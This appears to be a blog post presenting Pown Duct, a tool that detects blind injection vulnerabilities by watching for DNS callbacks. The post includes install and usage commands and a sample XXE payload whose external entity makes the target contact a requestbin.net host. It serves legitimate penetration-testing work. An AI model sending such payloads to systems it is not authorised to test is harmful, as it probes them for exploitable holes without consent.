Pown Duct : Essential Tool For Finding Blind Injection Attacks

Pown Duct is an essential tool for finding blind injection attacks using DNS side-channels. This tool is part of secapps.com open-source initiative.

Note : This tool is taking advantage of http://requestbin.net service. Future versions will use a dedicated, custom-built infrastructure.

Quickstart

This tool is meant to be used as part of Pown.js but it can be invoked separately as an independent tool.

Install Pown first as usual:

$ npm install -g pown@latest

Invoke directly from Pown:

$ pown duct

Otherwise, install this module locally from the root of your project:

$ npm install @pown/duct –save

Once done, invoke pown cli:

$ ./node_modules/.bin/pown-cli duct

You can also use the global pown to invoke the tool locally:

$ POWN_ROOT=. pown duct

Also Read – Regipy : An OS Independent Python Library For Parsing Offline Registry Hives

Usage

pown duct

Side-channel attack enabler

Commands:
pown duct dns DNS ducting

Options:
–version Show version number [boolean]
–help Show help [boolean]

Pown Duct DNS

pown duct dns

DNS ducting

Options:
–version Show version number [boolean]
–help Show help [boolean]
–channel Restore channel [string]
–output Output format [string] [choices: “string”, “hexdump”, “json”] [default: “string”]

Tutorial

There are cases when we need to perform an attack such as sql injection, XSS, XXE or SSRF but the target application is not providing any indication that it is vulnerable. One way to be sure if a vulnerability is present is to try to inject a valid attack vector which forces a DNS resolver to ask for a controlled domain. If the resolution is successful, the attack will be considered successful.

NOTE: You might be familiar with Burp Collaborator which provides a similar service for customers.

First, we need a disposable dns name to resolve:

$ pown duct dns

Using the provided DNS, compose your payload. For example, the following could trigger a DNS resolution if a XXE vulnerability is present.

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM "http://showmethemoney.bfa8b8d3c25f09d5429f.d.requestbin.net">
]>
<foo>
&bar;
</foo>

If the attack was successful, we will get a message in the terminal.

R K

Recent Posts

git fetch vs git pull: How They Work and When to Use Each

Both git fetch and git pull talk to a remote repository, but they do very different things to your…

4 days ago

git cherry-pick Command: Apply Commits from Another Branch

Sometimes the change you need already exists, just on the wrong branch. A hotfix lands…

4 days ago

Best Email APIs for Secure Business Email: Why Developers Are Moving Beyond SMTP

Email is still one of the most important communication channels inside modern applications. Password resets,…

5 days ago

Nginx Commands in Linux: Start, Stop, Reload, Test, and Log

Nginx is a high-performance web server and reverse proxy trusted by some of the largest…

1 week ago

ufw Command in Linux: Manage Firewall Rules with Examples

ufw (Uncomplicated Firewall) sits on top of iptables (or nftables on newer systems) and replaces…

1 week ago

who Command in Linux: Show All Logged-In Users and Sessions

When you share a server with a team or investigate unexpected activity, the first question…

1 week ago